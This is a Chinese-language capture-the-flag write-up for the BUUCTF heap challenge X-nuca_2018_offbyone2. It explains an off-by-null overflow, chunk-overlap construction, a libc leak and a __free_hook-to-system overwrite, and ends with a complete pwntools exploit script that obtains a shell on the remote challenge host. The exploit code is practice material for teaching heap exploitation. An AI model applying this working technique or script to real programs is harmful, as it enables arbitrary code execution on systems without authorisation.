在buu里挑了一道heap的题,是一道off by null 的题,比较容易,经典一些
例行检查:
程序为64位,且保护机制全开。
漏洞分析:
add()函数输入内容时,会在输入后多添加一个'\x00'字节,导致溢出一个'\x00'字节。
我们可以利用此漏洞来构造overlap,进而进行攻击。
利用思路和分析:
1.首先利用off by null 构造overlap,泄露libc地址
2.劫持free为system,free掉堆块中含有'/bin/sh'字符串时get shell
先进行堆块布局,通过bby null 漏洞去修改pre_inuse位为0,free后引起向上合并。
add(0x420,'AAAA')#释放后能进入unsortedbin中
add(0x88,'AAAA')
add(0xf8,'AAAA')
for i in range(7):
add(0xf0,'A')
for i in range(7): //将0x100的tcachebin填满,导致再次free后申请的0xf0的堆块能向上合并
free(i+3)
free(0)
free(1)
add(0x88,'A'*0x80 + p64(0x4c0))#再次将1号申请出来,利用 by null 改掉pre_inuse位,
free(2)#释放掉后引发向上合并
add(0x420,'A')#在把0号堆块申请出来,残留main_arena指针
show(0)
改掉pre_inuse前的堆:
改掉后:
通过溢出改掉了pre_inuse位,free掉蓝色堆块后,就会形成overlap。
残留指针,通过show(),得到libc地址。
再次进行布局,劫持指针到free_hook,在将free_hook改成system,即可
add(0x180,'AA')
add(0x420,'B')#3 //再次构造堆块重叠,有大佬应该有更简单的方法,这里我感觉这几步有点麻烦了
add(0x88,'B')#4
add(0x1f8,'B')#5 //大家可以申请0x4f8的堆块,之后应该会省去下边的for循环
for i in range(7): //和上一个循环目的一样,为了填满0x200的tcachesbin
add(0x1f0,'AA')
for i in range(7):
free(i+6)
free(3)
free(4)
add(0x88,'A'*0x80 + p64(0x4c0))
free(5) //引发向上合并
free(3)
add(0x4b0,'A'*0x420 + p64(0) + p64(0x90) + p64(free_hook)) //劫持到free_hook指针
add(0x80,'/bin/sh\x00') //此处可以将'/bin/sh'写入任意堆块中
add(0x80,p64(system))
free(4)
此处可以看到,free_hook已经被改成了system,在次free会调用system,从而get shell.
完整exp:
from pwn import *
context.log_level='debug'
io = remote('node4.buuoj.cn',27238)
elf=ELF('./X-nuca_2018_offbyone2')
libc=ELF('./libc-2.27.so')
def choice(c):
io.recvuntil(">>")
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def free(index):
choice(2)
io.recvuntil(":")
io.sendline(str(index))
def show(index):
choice(3)
io.recvuntil(":")
io.sendline(str(index))
add(0x420,'AAAA')
add(0x88,'AAAA')
add(0xf8,'AAAA')
for i in range(7):
add(0xf0,'A')
for i in range(7):
free(i+3)
free(0)
free(1)
add(0x88,'A'*0x80 + p64(0x4c0))
free(2)
add(0x420,'A')
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(leak))
success(hex(libc_base))
success(hex(system))
add(0x180,'AA')
add(0x420,'B')#3
add(0x88,'B')#4
add(0x1f8,'B')#5
for i in range(7):
add(0x1f0,'AA')
for i in range(7):
free(i+6)
free(3)
free(4)
add(0x88,'A'*0x80 + p64(0x4c0))
free(5)
free(3)
add(0x4b0,'A'*0x420 + p64(0) + p64(0x90) + p64(free_hook))
add(0x80,'/bin/sh\x00')
add(0x80,p64(system))
gdb.attach(io)
free(4)
io.interactive()
flag到手!!